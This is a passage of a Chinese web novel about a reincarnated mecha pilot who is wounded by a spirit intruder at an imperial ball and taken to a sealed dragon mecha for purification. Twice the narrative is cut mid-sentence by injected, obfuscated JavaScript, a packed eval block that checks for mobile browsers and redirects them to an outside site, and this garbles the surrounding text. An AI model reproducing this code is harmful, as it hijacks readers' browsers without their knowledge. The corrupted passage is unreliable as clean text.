尼罗委顿在海面上,她像是衰败到了极点,长发遮住脸,久久不能起身。这片海是她的精神世界,被如此轻易就蒸发了,她用以构建的精神也随之被吞噬,一切有如烟散。她的精神场中出现了巨大的空洞,像被噬空的果核。像是被鲨鱼用牙玩闹般地咬了一下,连带着离去的却是大部分的躯干。 很快,她的身上也开始腾起雾气,雾气浓烈,这是一种象征化的表现,她和她的自有世界一样被轻易地“蒸发”了,她维持不住这个精神之境了。 她向阿龙迦的方向抬起脸,双眼忽地睁开,滚下两行长长的血泪。 15. 15 柱中人·下 现实圣庭 舞池中,两人都是长久地一顿。 阿龙迦脚步停住,身躯像是忽然木了,僵立在原地,尼罗无力地扑下,像一袭轻盈的长袍。 他能清晰地感受到,在他意识回归躯壳的一瞬,一股无形的波动就剧烈地传了出去,这是精神场爆开的结果。 尼罗的精神本来比他强千倍万倍,所以才能强行把他拉进自己的精神中,并把他牢牢地囚禁在自有世界里,可这一刻尼罗居然主动把这个她捉到的猎物“吐”了出来,如同反刍,又如同海蚌吐出不能消化的金属。她受到的反噬似乎不是一般的大,她笼罩这里的巨大精神场就此炸开,甚至产生出了能让阿龙迦都感知到的波动。 现实中,那段暧昧而缓慢的舞蹈居然才走到结尾,人们还彼此相依。自有世界中,生死反转了数次,在现实中却只是短短的一瞬。 在他人眼里,他们似乎只是站着发了会儿呆,又或者只是干脆驻足密语而已。 尼罗的胸口剧烈起伏,她还处在那种被重创的状态中,喘过气的一瞬,一柄匕首已经抵在她的颈侧,一掌长的等离子体剑,剑柄吐出莹蓝的光刃,骇人的温度烧得尼罗的肌肤像要融化。作为新任护卫,阿龙迦被允许在圣庭中持有最低限度的个人武装。 “告诉我你在这一天潜入圣庭的目的。”阿龙迦一字一顿,“不然我会马上高呼,引起所有人的注意。” “你不会的。”尼罗长发遮脸,形容狼狈,却笑了。“就像这柄剑能杀的死我吗?你心中应该有答案。你其实也不想引起太多注意的吧?你怕我破罐子破摔,在这里爆发,作死斗。那样会死太多的人,你心里明白,如果引来围剿,我死了,除了你,这间殿里不会有人活着。面对我这个等级的存在,你们有准备,却不在这里。你不想要这里的某个人死对不对?我看出来了。” “不在这里,你就这么笃定?焉知不是正踩在我们的脚下。”光刃纹丝不动,那蓝色幽深,阿龙迦的双眼像映着雷光,“你对人类知道什么?” “你们又对污染种知道什么呢?”尼罗仰起脸,长发滑落,素色的脸上滚下两道血泪,她的眼睛暂时地瞎了,因为直视不该看的东西。 “你对我们所有的了解都只是风中的烛影。”她像凋零的花一样萎顿下去,在这样一个小护卫手中不可思议地惨败,她的语气中却没有气馁,反而有一种莫名的情绪,“就像你对你自己一样,一无所知!” 她微微地笑了,鬼魅感再度降临,声音中透出巨大的喜悦,“你是我们……新生的孩子啊!” 阿龙迦左手紧紧地攥住掌心,却诡异地僵立在原地,没有做出反应。 “迷路的孩子啊,你为什么身处此地?为什么站在人类之间?”尼罗轻轻地靠近,“又为什么要来这片没被清理的蒙尘之地?光辉尚没有降临这里。” “一切注定毁灭的还没有毁灭,注定苏醒的还没有苏醒。这时还太早啊,我的孩子。” “你在……说什么。”阿龙迦听见自己的声音,牙间像咬着铁,“我是人类,我当然站在我该站的地方!” “人类?”尼罗被逗笑了,声音中有诡异轻柔的“叮叮”声,那笑声像夜间檐下的风铃,“我已经得到我要的答案,你身上的红不是意外,那是应许的红色,总有一天你会醒悟。我不着急。” “那么我也该离开了,想必你不会阻拦我吧?”像一舞终末,尼罗提起流水般的裙角,向他微微垂首,“最后离开前,我还没有得知你的名字。” “龙雷。”阿龙迦长久地凝视她闭上的双目,面无表情。 “龙雷?不是个适配你的名字。我以为你的名字会是……”她轻柔一笑,唇齿无声地开合,以嘴型吐出了三个让阿龙迦全身绷紧的音节。 阿龙迦的目光骤然凌厉,像映着火光般一闪,“下次见面的时候,我必然准备万全,杀你。” 尼罗笑了,和阿龙迦虚虚地拥抱告别,礼节性的拥抱,她做来却像是云雾拂面,她怀抱里的那种温暖,他从没有认识过,像是神使,或者母亲。 “你还如此年幼,你的路终将引领你回到我们之间,”她含笑转身,“会再见的。” …… 察觉到精神场炸开的余波的人寥寥无几,可这有限的几人却都脸色巨变。 敏锐一点的直接“感受”到了那个波动,其他的看向手腕内侧,环状的微型装置变得滚烫,开始滴滴地报警。 秦羽衣一舞毕,此时正和庭兰站在一处,两人的交谈陡然停下,神色齐齐一变。庭兰喝得有些微醺的眸子一跳,亮得逼人,秦羽衣脸上的笑意陡然泯灭,他面无表情: “看来我们今天有一位客人。胆大包天啊!” “在人类正式宣布第五次进攻的时候,堂而皇之地混进现场,看来我们的客人对自己的实力非常自信。”黑衣上将的瞳子里像有闪电穿透天空,酒精只是让她成倍地兴奋起来,“不检验一下岂不是失之尊敬?” “你……” 秦羽衣欲言又止,低头看见庭兰的手背上,有黑玉般的色泽在迅速蔓延,从袖口蔓延到指尖,那是某种特殊的材料在覆盖她的皮肤,呈龙鳞般一片片地扣紧,鳞片细密,在灯光下色如墨胆,那是光所不能照亮的漆黑。 “陛下怎么会允许你上殿时穿戴‘影玉鳞’?” “这不是影玉鳞,”庭兰摇头,“只是一件拷贝。最高机甲执行所仍然无法复原其技术,这件仿品丢失了影玉鳞的一切攻击性能,它温顺得和防弹衣没什么区别。” 常型007-影玉之鳞,是流传了千载的传世古甲,传闻它铸造于开拓纪元,是人类技术最鼎盛,尚未形成断代时的杰作。时至今日,它的核心制作仍是完全的技术黑箱,现在看来,它的某些结构就像魔法和巫术一样玄妙。 它是绝世的孤品,存世只有七件,因为凶厉大多数都封存在机甲执行所的“洞窟”之中。由于庭兰对这机甲无与伦比的契合程度,她从少年时就和这种绝戾的古甲开始磨合,所以她一直是影玉鳞的驾驶者。 “那你这是要?”秦羽衣不动声色,那白衣的姿态又让人幻视他在摇动羽扇。 “我要亲自去‘待客’,”庭兰忽地笑了,那笑容中意味血腥,几十年死战的血勇在她身上血雾般腾起,像一重山岳起在殿上,“精神波动太剧烈,我都能反过来锁定它了,是个绝强的精神体,它的存在像黑洞一样扭曲这个空间。但它的状态高度不稳定,它在离开。” 作为同频率40%的绝世天才,庭兰在精神领域的敏锐无与伦比,少时她经过了反反复复的稳定度测试才被允许加入军校。 “那你得快点,我想侯爵大人已经亲自去布置禁军了。”秦羽衣以眼光示意,白裙的女爵已经悄悄地退至殿外,“以她的缜密,也许你没有直面客人的机会也说不定。” 庭兰冷哼一声,黑色的身影弹射出去,快得只有残影,奔行之势像一卷乌雷。 “看来大家都有自己的目标。唉。拿着这把家传的装饰剑,我又能做什么呢?”秦羽衣抽出随身的长剑,在手中弹了弹,半晌无语。 宾客们并未察觉这些异变。人群包围中的皇帝最后一次举杯,走出包围圈,迅速就有数个护卫从黑暗中走出,向皇帝小声地汇报,这些人的面容此前都不曾被人亲眼见过。 皇帝听罢,神色不变,定了半晌,忽然说:“可以,就以当前的方案应对吧。另外,开启达摩克里斯对这里的扫描和监控,启动最终判定程序。” 饶是那些无言的护卫也大惊,“陛下,何至于此?那只是区区一个异常实体而已,何必启动行星级预案?” 皇帝只是定定地看了他一眼。护卫连忙低头告罪。 “现在君临的近地轨道上,有哪些方舟级母舰在待命?” “一共有三十六艘方舟级母舰。大部分都是来自固有布防,在进行日常巡航,另外的来自您提前布置的鬼刺狐第二舰队,在唐璜总舰队长的统领下,随时待命。” “分出其中的五艘笼罩这里,让他们将全部算力都投入达摩克里斯判定程序,让天空中的眼睛全部盯着,事后我要得到最完备的分析数据!这是第一次,有诡异造物能走到圣庭中,这一定是一个非常特别的异常实体,前所未有的特别。” 护卫们又像阴影般散去。 人群仍然狂欢,无知无觉。 大卫又兜兜转转地挤回阿龙迦的身边,“喂,刚才有人请你跳舞了吧?我来的时候看见她离开了,谁不想要那样的舞伴,你小子运气真好啊!” 阿龙迦却并未答话,他忽地紧紧抓住大卫的胳膊:“扶我一下,快。” 大卫还来不及动作,阿龙迦已经瞬间脱力倒下,浑身僵硬,像是溺死的人从水中被捞起。 大卫大惊,连忙拽住阿龙迦,把他的手臂抗在肩膀上托起,他察觉到自己的新同事身上冰冷得不可思议: “喂喂,你怎么了?怎么突然就倒下了?难道是酒精过敏,这也太严重了吧?” “敌袭。”阿龙迦的牙间似乎也咬得死死的,他用尽全身力气才吐出低不可闻的话语,“快带我去见……陛下!” 大卫觉得他身上的那种寒冷简直刺人,简直像生命在流逝,他不由得也微微惶恐起来,三步并作两步推开人群,走到陈寂身后五步才低声开口:“陛下!龙雷负伤!他说有敌袭!” 陈寂猛地转过身来,目光锐利:“情况怎么样?” “不太好!”大卫迅速答道,“他似乎处在即将休克的边缘。” 到了这一刻,阿龙迦的反应似乎迟钝得不行了,又或者他根本就听不到了,他缓缓地抬头,目光漆黑,没有聚焦,“陛下……污染种,入侵!” 他断续地带过尼罗鬼魅般出现又侵入他精神的过程,哪怕被大卫抗住,整个人仍克制不住地向下坠去,喘气声越来越响,像老旧的风箱。 陈寂的眉头逐渐锁紧,听完后没有表示,迅速跟身边的护卫下令:“把李约找来!让他把放在门厅的装备带上一起来见我,特许他携带管制物品上殿!” 几分钟后,异常战略局局长李约重新进入圣庭,但是这次他的身边跟着几个黑衣蓝氅的护卫,隐隐地围住了他,每个人的手里都提着密封的黑箱,或者怪异沉重的设备。 “陛下,异常战略局局长李约觐见!”黑衣的李约低头行礼,“微臣万死!异战局在每道星环边界,无论是官方航道还是星门驻守群,都设有严密的检验关卡和异常警报,今日居然还是让这一只实体溜进来,混进了人类腹地!微臣失职,请陛下治罪,并允许我在此事后请辞。戴罪之身,不敢再领陛下厚恩!” 陈寂以极其强势的姿势抬起一只手:“这些客套话不要在殿上说。这里现在是战场!李卿,你们确实在每道星环边界的‘界港’上都设有防线,可是你们所有的布置都仅限于人类活动区域,异常警报没有惊动,大概率是因为这一只根本不是自人类活动区域进来的,她是从人类的视觉死角,那些被我们长久以来视为‘死区’的地方进来的!” “您是说……她想办法通过了黑暗屏障?!”李约大骇,“怎么可能?‘黑暗屏障不可通过’一直以来都被视为异常的底层规则!” “那么也许她找到了绕过黑暗屏障的办法。” 李约还想开口,却被陈寂直接打断。 “现在不是讨论这个的时候。李卿,我找你来,是因为这里有一位直面了那只污染种的伤员,按他的口述,他曾被拉入那只污染种的‘精神世界’,并且‘产生了许多画面和幻觉’……”陈寂的瞳子锐利如刀,“你该明白这是什么程度的污染危险,我需要你立即实施净化程序,并控制污染。不能危及他的性命!” “是。”李约打开那些密封箱,一样样地铺陈开那些器械,有的像手术用具,有的又像巫觋的龟壳一样带着明显神秘学的色彩。 “我随身带了全套净化设备,并冰封了三只隔离针,我会按照异战局的标准流程,为他注射封闭药剂,隔离污染当天的记忆。” “请竭力保持清醒,如果你现在失去意识,净化程序将十分困难。” 他来到阿龙迦面前,示意更多的侍卫去架住他。李约打亮了一只细长的瞳孔笔,去照阿龙迦的眼睛,照出来的光居然是奇异的紫色,里面架着紫水晶的磨片,刻有藤蔓般神秘的图纹,李约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126975|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转动它,紫色瑰丽地流动,“我需要你盯着图案的中心……” “不……”阿龙迦的意识已经在丧失的边缘,他的眼皮沉得像两座山,他竭力开口,口中居然吐出鲜血,“没用的,如果按…教科书里的分类来看,那只污染种的等级,起码是君王级之上!” 这是他的最后一句话,他的全身力气就此用尽,头垂了下去,意识陷入无底的深渊。 哪怕身上没有伤口,可他的精神曾被完完全全地碾碎成粉末,到了现在,他都不太清楚当时发生了什么,哪怕侥幸逃生,可精神层面的重创却是实实在在的。 场面一时诡异地寂静下去。陈寂和李约两人都陷入沉默,不是因为阿龙迦的休克,而是因为他说的“君王级之上”……有一句话他说的太对了,到了这个级别,这样的净化程序没用,确实没用! 这只是针对普通污染的通用程序,其中还有许多未能破解的黑箱环节,而污染实体是超出科学理解范围的生物,到了君王级,更是完全向神秘侧滑去,这样流于表面的净化措施,一点作用都不会有! “给他测精神的泛波动值。”陈寂拍了板。 “是!” 李约拿出了一顶像许多导线编织的软帽,带在阿龙迦头上。每条导线的末端都有一个用于检测的传感器,一个小小的圆形金属片,被他贴进阿龙迦的头发里,紧挨头皮。 这就是用于测精神波动值的仪器,上千年来,人们都是用此间接地判定一个人精神的污染程度,因为精神污染这种东西,在污染步入最终阶段,导致躯壳都发生“异化”之前,只局限于精神中,可精神什么的太玄了,看不见摸不着,太难以量化和检测,可是又亟需一个检测军人污染度的东西,有时看似无害的污染会潜伏几十年,又只在一个响指间爆发,瞬间完成对人的异化,然后造成滔天的血案。 最终形成的方案就是测精神的泛波动值,泛波动值并不是精神波动的剧烈程度,而是经过大量的计算,得到的一个复杂的无量纲群,一个消掉了单位的常数。正常人的这个常数通常十分守恒,而被污染者则会出现巨大的偏移,泛波动测算的就是这个“偏移度”。 监测持续了一百五十秒。 传感器的数值全部显示在李约的个人终端中,自动套用公式计算,得到最后的结果,李约盯着那个不断跳动的数字,它每次的跳动都在往上翻,冰封般冷峻的脸上也开始微微抽动,当检测完成时,他不由得猛地站起: “陛下,来不及了。” “一百五十秒得到的数据是63%的偏移度,这个数字理论上来说没有极限,300%都有可能,但是如果您想保他的性命……”李约看着皇帝的脸色,“我们通常说65%就已经是人类的污染极限,而70%…那是只能在已经‘异化’的人身上看到的数字。” 李约没说的是,这是他第一次见到有人的偏移度会一直上升。实际上直到检测完成,终端上的那个数字还在攀升……一般人的偏移度只会上下跳动,最终固定在一个特定值。跳动是因为设备的瞬时不稳定性,而偏移度一直递增,只能说明阿龙迦精神中的污染在迅速增殖!一般的污染大多程度恒定,躲藏在精神中,慢慢沉淀腐蚀,而阿龙迦精神中的污染简直具有活性!或者说侵略性! “陛下,这样下去,再有一小时,或者一分钟,我们就要失去他了。”李约直视陈寂,“而异兽间会多出一个新的实体,某种扭曲畸形的造物。” “可你的语气不像是在说死路一条。”陈寂和他对视,也是刀锋般一闪的目光,“我说了要保住他的性命。你有什么想法就说!不用顾忌。” “是。您想想,他受了污染,务必需要净化,而我们目前不能净化他的原因是因为‘我们的程序太低级了’,只针对普通污染,反过来说就是他身上的污染‘太高级’,级别太高,优先度太高!”李约伸出一根手指摇了摇,“我们的目标是净化他,那么就找出一个比这种污染级别更高,优先度更高的影响源不就行了?而论‘优先度’,论对精神的影响,我从来没有见过比……‘那个’,更高级别的存在。” 李约用手指点了点正下方,仿佛直直地指进地心深处。 “我明白了。”陈寂缓缓地说,吐出一口气,“你想带他去地心,去见特型000。” 周围的温度像是忽然下降了,护卫们纷纷打了一个寒战。“特型000”,连皇帝在提起它的时候,都避开了说出它的全名。 ‘特型’说明这已经不是人型的机甲,它的造型或者奇诡如怪谈,或者通天彻地,如洪荒画卷中的鬼神,而“000”的编号,则说明了它的特殊——这是一具起源机甲。 不仅如此,它还是最古老的一具起源机甲。 有的机甲富有传奇色彩,有的机甲仿佛来自故事,而特型000,则似乎来自于天地未分、人类诞生时对鬼神的妄想,甚至它的名字都不可言说。 “是,我要带他去地心,去见封在地狱深处的特型000。它的模因影响,是人类见识过空前绝后的第一。而据我们所知,特型000施加的精神影响,并没有已知高危险的副作用。根据有限的实验证明,优先度高的精神污染会仿佛受到僭越那样碾碎所有存在的其它污染。所以我们只能寄希望于特型000的精神影响,会覆盖掉那只污染种对他的精神影响,为此,我需要足够的权限进出最高机甲执行所,那里是他们的腹地。” “用一种污染来覆盖掉另一种污染,有用么?你有多少把握?” “陛下,和特型000相关的事谁敢说自己有把握?”李约摇头,指着阿龙迦,“但是你看看他,他随时都要越过临界点了,异化后和人死了有什么区别?除了这条路外,还有哪一条路不是死路么?” 陈寂沉默良久,又或者只是一分钟,他忽然说:“就这么做吧!但不用你去,我会带着他下到‘地心’。没有我在,没人能压住那具机甲。” 他扭头看向昏迷的阿龙迦,有一瞬间,他的胸膛中有一阵狠狠的抽痛,那张年轻的脸似乎和另一张脸重合了。真是像啊,还是他已经记不清了? 我不会让你死,再一次的。他在心底说。 16. 16 沉睡地与古神之墓 “这里……是哪儿?”阿龙迦慢慢地醒转,头颅剧痛。 沉睡没有让他的情况好转,脑海中一切还是乱如浆糊,他觉得唇齿发木,看东西像蒙了一层纱。 是哪儿……是哪儿……四壁传来层叠的回声。他置身于巨大而空旷的空间中。 阿龙迦竭力想坐起,只是这个动作,就让他出了一身冷汗。他动弹不得,扭头发现自己躺在一张铁质躺椅上,躺椅上有皮带把他死死地固定,一道又一道,哪怕他是豹子老虎也无法暴起了。 反重力装置让躺椅悬浮着,离地半米,此刻躺椅正带着他漂浮向前。 身边有另一个人的脚步声,阿龙迦努力抬起头。视线朦胧。 一瞬间,阿龙迦以为自己还没清醒,甚至还陷在尼罗的幻境中。 因为太像了,太像他最后的幻觉。 陈寂行走在他的一侧,赤氅军装,躺椅就是跟随着他的脚步。阿龙迦心中猛地一动,用力睁眼,眼前那层雾才稍稍散去,岁月的痕迹爬上那张脸,终于和幻觉区别开来。陈寂的眼角刻着明明白白的纹路,线条更凌厉,更瘦削也更莫测,黑瞳子里像烧着碳,前所未有的亮。 “你醒了?”陈寂看过来,“我们给你打了大剂量的镇静剂,和暂时降低神经细胞活跃度的抑制剂。希望你尽力保持平静,这会利于我们控制你身上的污染。” “这里是最高机甲执行所,我们已经下到地下三千米的深度,来到‘地心’,这里是执行所的最重要的禁地。我要带你去见第0号洞窟中封存的机甲,特型000。按照异战局的理论,或许可以用特型000的精神影响来覆盖你身上的污染,以稳定你的状态。” 阿龙迦的思绪此刻异常迟钝,他怔了一下,才明白陈寂是在回答他的第一个问题。 “明白了。”他点头。 “我们快到了。”陈寂抬头。 前方,无尽的漆黑中,本来只有每隔十米的应急指示灯在闪烁,红点像是巨兽的眼睛,卧在黑暗深处。随着陈寂的脚步,灯光应声亮起,打下白炽的光芒,一扇扇地推到无穷远的尽头,最远的地方,是一扇沉封的巨门,巨门落下,覆盖着青铜机关般的巨型机械锁,门上隐隐有枯玄浩瀚的纹路。 确实像是洞窟。也确实安静得像地心。 这里太空阔了,所以显得寂静得让人不能忍受,说不清天顶有多高多远,如果以目相测,纵高绝对超过五百米。可是这个空间的深度还要远超于此,像一条巨型的走廊,通往最后的尽头——那扇大门。 走廊的两侧还有许多门,走廊是纯白色的,那些扑面而至的林列的巨门却是相同的铁青色,像是密密麻麻的洞窟,又像是地牢。不知道是用什么特殊材料打造的,如果仔细盯着那些铁青色的巨门,时间长了会错觉里面泛起沉郁的乌金色光华。 “这里是封存最危险也最古老的那些机甲的‘洞窟’,大部分都是起源机甲。如果你没有选择加入龙旗舰,也许总有一天会来到这里,一个个地学习和这些机甲共鸣。” “起源机甲么……”阿龙迦思索了一下做出反应,装作是一个第一次见识这些的孩子。目光隐有好奇。 “你老师没和你讲过这些?”陈寂侧过头。 “没有。” “那么我可以给你讲讲。”陈寂的语气真的就像一位学者,或者一位老师,“就像你今天说的,按书本上的危险度划分,普通污染种分为Z-A的编号级,一旦超过理性界限,发生了质变,我们就把它们叫做君王级。君王级异兽是毫无疑问的领袖,它们在族群中的地位毋庸置疑,往往能够做到统御一方,甚至带着族群穿过星海,领导深空航行。这也是人类将它们命名为‘君王级’的原因。” “普通的机甲,无论是民用机甲还是军用高危机甲,它们内部的躯壳都是编号级异兽,这些普通异兽的血肉是可以量产的,能够用生物技术克隆。可时至今日,我们仍无法克隆君王级异兽,所以用它们的躯壳做出的机甲,都被称为唯一性机甲。我们无法掌控这些神秘学色彩浓厚的机甲,它们并不出自我们之手,而是来自于已经技术断代的旧人类,人们把那视为机甲的起源时代,所以这些机甲又被称为起源机甲。你已经见过君王级异兽是什么样的存在,你该明白这些机甲的危险和恐怖。” 陈寂的脚步停在一扇巨门前。“从这个位置开始,再往前的所有机甲,级别都是‘起源’。” 阿龙迦抬起头,看见身侧的巨门耸立,深青色古朴神秘,仿佛墓中拔地而起的天门。门上有红漆喷涂的标识,那些大字写的是“特型004,红死寂”。 他一扇扇地看过去,身处这些洞窟之间,仿佛蝼蚁踏进死寂了几千年的巨人王国。那些巨门上都用红漆喷涂着序号和名称,依次是: 特型001-“庞然大物” 特型002-死翼之虎 特型003-座天使,“千眼烈焰之轮” 特型004-红死寂 特型005-长环星门 特型006-哀悼圣子 他的目光最后投在尽头的大门上。那扇门上没有任何标识,没有序号,也没有名称。只是永恒地缄默着。 “七扇门……” “不是七扇,本来是八扇。”陈寂摇头,“一共有八具起源机甲。第八具是常型000-刑天,唯一一具人型的起源机甲,它在很多年前被移出地心,因为它的特性太特殊了。所有跟它相关的机型都可以量产,我们不能克隆它,它自己却会分裂。” 阿龙迦不知道说什么,点了点头。 “以你39%的同频率,所有人当然都会希望,你能和这里面的一具甚至几具共鸣,”陈寂看着他的眼睛,当这个男人想表现出亲和稳重的时候,几乎没有人会觉得抗拒,“我也这么希望。但当然不是现在,如果未来你有意愿驾驶起源机甲,你会得到一切支持。” 这个话题被蜻蜓点水地掠过。 陈寂继续像老师一样为他介绍那些机甲,“这次进攻,除了特型000,所有起源机都会被调出,运载在舰队中。在面对某些极其邪异的实体时,只有驾驶同样特殊的机甲,人类才有一战之力,这就是起源适格者的重要性。在最优秀的驾驶者手中,巅峰状态的起源机甲甚至能轻易毁掉一颗行星。” “004红死寂,006哀悼圣子,这两具机甲太邪异了,几乎找不到能和它们共鸣的适格者,曾经尝试使用它们战斗的测试者直接爆体而亡,肉身在驾驶室中炸成血块。事后研究员清理遗体时,却无论如何都找不到他们的大脑组织。他们认为那些大脑要么至今还留在机甲中,要么已经被‘消化’了。” “人类驾驶员,能够勉强在战争中运用的起源机,一般都是001‘庞然大物’和002死翼之虎,上千年的磨合中,人类记录了它们所有的变化,勉强总结出了它们的特性,而其它机甲的性能,我们至今无法窥得全貌。” “001…庞然大物?”阿龙迦语气困惑。 “是,这是对它最直接的描述。”陈寂点点头,“它的名字至今无法定夺。因为在太多的神话中都能窥见它的影子,有的人认为它该叫Jormungand,中庭之蛇,有的人又从石板中找出了它的形象,认为它是炼金术中极致完美的象征,衔尾的永恒之蛇乌洛波洛斯,但是更多时候,人们叫它世间第一条蟒,那迦之王……” “阿难陀舍沙。” “不用着急,你会亲眼见到它们的,每次的进攻,到最后的阶段,都是拉锯的血战。双方都得以巨大的杀戮来填,起源机甲一定会上场的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126976|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈寂停下脚步,“我们到了。” 那通天的巨门已近在眼前。青铜机关上有粗犷而神秘的纹路,像萎缩的龙蛇尸体,又像书写的密文,细看内部有不下九道巨锁,有的地方原始得不像近代造物,有的地方又精妙得令人脊背发凉。 门上的纹路比机关上的更令人头皮发麻。纹路是极细的红色,涂布得太神妙了,没有一个角落是空缺的,没有两处是重复的,看久了让人觉得那红色是新鲜的流动的,纹路细细地凿进门上,鲜红色顺着轨迹往复循环,活水永动,永远不死,太深奥了,叫人想起以水银模拟江、河、湖、海的思路来,所有纹路最后首尾相接,结成一个完满的整体,结成某种枯玄的阵。 “闭眼!”陈寂喝道。 阿龙迦猛地闭上双眼。那张阵图几乎就要完整地烙在他的脑海中,连成一个整体。该死的!这抑制剂的影响有那么大么?他懊恼地想。 不知道陈寂做了什么,黑暗中,他听见锁一道道打开的声音,响亮,清脆。 而后是一道撼动地心的震颤,巨门缓缓升起。 他睁开双眼,看见浓烈的黑暗扑面。 陈寂径直走了进去,躺椅紧跟着飘入。 随着陈寂的步伐,最外环的灯首先亮起,门内原来是一个圆柱形的巨大空间,灯带一圈圈向内照亮。 阿龙迦看清了四壁是透明的,像是玻璃的质地,后面看布置似乎是实验室和观测台。这个空间一定有别的入口,他们从大门走进来,就像是走进了海洋馆的圆柱形展柜中。 可他们只是误闯进来的小鱼小虾,这样巨型的玻璃柱,展出的一定是巨齿鲨,或者蓝鲸! 内圈的灯带也逐渐亮起。借着隐约的光,似乎有一根巨柱竖在空间的中心,拔地而起!一直延伸到目光看不到的黑暗中。那巨柱太粗了,几乎要一百人合抱。仿佛神话中叫做‘若木’的巨树。 “这就是特型000。”陈寂往前走了最后一步,声音忽地轻下来,“它的名字是,‘钟山之神’。” 最后的灯带亮起。巨柱骤然被照亮,雄浑伟岸。确实如神话中的若木。 天东有若木,下置衔烛龙。 一同被照亮的还有满目的赤红色,赤红色缓缓地起伏,那是镜子般的鳞片在翕张。那是某个生物…某个存在盘绕在巨柱之上,它紧紧地贴着铁灰色的巨柱,巨大到几乎完全遮盖那根柱子,从下到上,只有一片火色,像火线盘旋着烧起,一直接到极高的天顶,鳞片光亮得像披挂着赤铜。 阿龙迦抬起头。这已远不是他第一次看见特型000-钟山之神,但他还是不由得屏住了呼吸。 这一刻似乎只有一个字能形容它:龙! 太古神话中的龙,殿宇飞拱上的龙,琉璃壁画上的龙,长鲸吸水,从云飞天的……龙! 龙盘踞着巨柱,在极高极高的地方垂下头颅。 那头颅神圣得像旷世绝伦的艺术品,这是世间最完美而最极致的构造,它的创造者是神是天之主宰,不出于人类的意识范围中。每一缕线条都像泛在红玉上的波纹,柔处出水,刚处雄浑,它的头角峥嵘,双角曼妙修长,长须像藤蔓般垂下,没有风,却轻盈地浮动,仿佛漫溯云中。 阴影中看它时,它像是朱笔渲在素纸上的一个朦胧的剪影,隔着岁月的纱幕,古意苍然,而当它的面目真的出现在灯光下的现实中,纸面忽地被戳破,投射下洪荒的神秘和恐怖。 “有的人,也叫它‘烛龙’。”陈寂微微地叹气。 身赤色,如火精。确实符合神话中的描述。然而它不仅有鳞,也有爪,四爪五趾。龙的双瞳紧闭,不知是否“开眼为白昼”。 “走吧,试试和它进行共鸣。”陈寂朝他鼓励地点点头,“需要你和它进行直接的肢体接触。” 17. 17 钟山之神 “走吧,试试和它进行共鸣。”陈寂朝他鼓励地点点头,“需要你和它进行直接的肢体接触。” 躺椅随着陈寂的脚步向前。巨柱附近的地面整个升起,原来是一圈环形的升降平台。 环形平台缓缓上升,直趋巨龙的头部,那苍红的首级离他们越来越近。显然是方便研究人员近距离观察。 离得近了,更显出特型000-钟山之神的巨大。 从下面升上去,仿佛在崖底仰望,它的长须像瀑布,每一片鳞片都在缓慢开合,像银盆那样大,光亮如赤铜。龙首栩栩如生,低垂着,像刻在石窟中的巨大神佛垂面,它太鲜活了,像一个在沉睡的古神,还在发出低缓的呼吸,让人完全想不到是一具机甲。 那龙首迎面而来,压迫感像山一样压下。火色笼罩四野。 阿龙迦明知故问,“你们要用特型000的精神影响来覆盖污染,那它的精神影响到底是什么?” “它的精神影响,是使人分辨不出红色。”陈寂也抬首仰望,“影响时长和接触时长成正比。当和它一次性接触超过二十四小时,会使人永久失去分辨红色的能力。” “这个‘分辨’红色,并不是指在不同的颜色中认出红色。特型000似乎可以直接从认知层面影响目标,被它影响后,‘红色’这个概念会从认知层永久删除,从此,在目标的认知中,‘红色’是不存在的,是虚无,在他们眼中,红色会和‘无’画上一个怪异而扭曲的等号。执行所曾以死刑犯进行试验,得到的结果是,如果把被影响的实验目标放置在一卷红色的地毯前,他们会恐惧地无法迈步,严重者甚至当场昏厥,哪怕被告知那只是铺着地毯,他们依然无法克服恐惧,因为在他们的眼中,那不是一卷红毯,而是一条‘虚无’之路,是深渊,上面什么也没有,他们如果走上去,就会坠落。” 陈寂看着他,“你明白了么?” 阿龙迦点点头,“我会缩短我和它的接触时间。” “其实,处在它的精神场内,你已经开始被影响了。”陈寂摇头,“我希望你能和它直接接触,不仅是希望放大它的影响,也是希望你能尝试和它共鸣。如果你能使它作出反应,你就是它新的适格者。” “看尽一切过去,特型000-钟山之神只有一个适格者,明面上,它也只有过一个驾驶员。三千年过去了,只有这唯一的一个特例。在那之前,人们从来不知道钟山之神是何等伟大的机甲,当它睁开双眼,整个世界都为之熄灭,黑暗中只有它是唯一的一点火,烛照天地。你和它曾经的驾驶员非常相似,我想,也许你有机会,让人类重新掌握这具鬼神般的机甲。” 阿龙迦不动声色。那个唯一的适格者,正是他自己。第一起源适格者,这曾经是对他生前的称呼。而他能获得这样殊荣的头衔,就是因为他是数千年中唯一一个能够驾驶特型000的人。 上辈子的无数次,他就是驾驶着这具旷世绝伦的机甲,在不可思议的局面中力挽狂澜。可是重生一次,一切都变了,换了身体,他的精神强度也跌到了史无前例的最低点,唯一不变的也许只有意识,他真的能被钟山之神再一次承认么?这可是人们以‘神’命名的机甲! 陈寂的话中,还有另一个点引起了他的注意,“明面上只有一个驾驶员?” 陈寂颔首。“明面上,它的驾驶员古往今来只有帝国前元帅一个人。另一个人能勉强驾驶它的是我。我从来不曾被它承认,年少时,和它的共鸣测试也毫无疑问地失败了,但是,某一个时间点开始,我忽然可以驾驶它。” 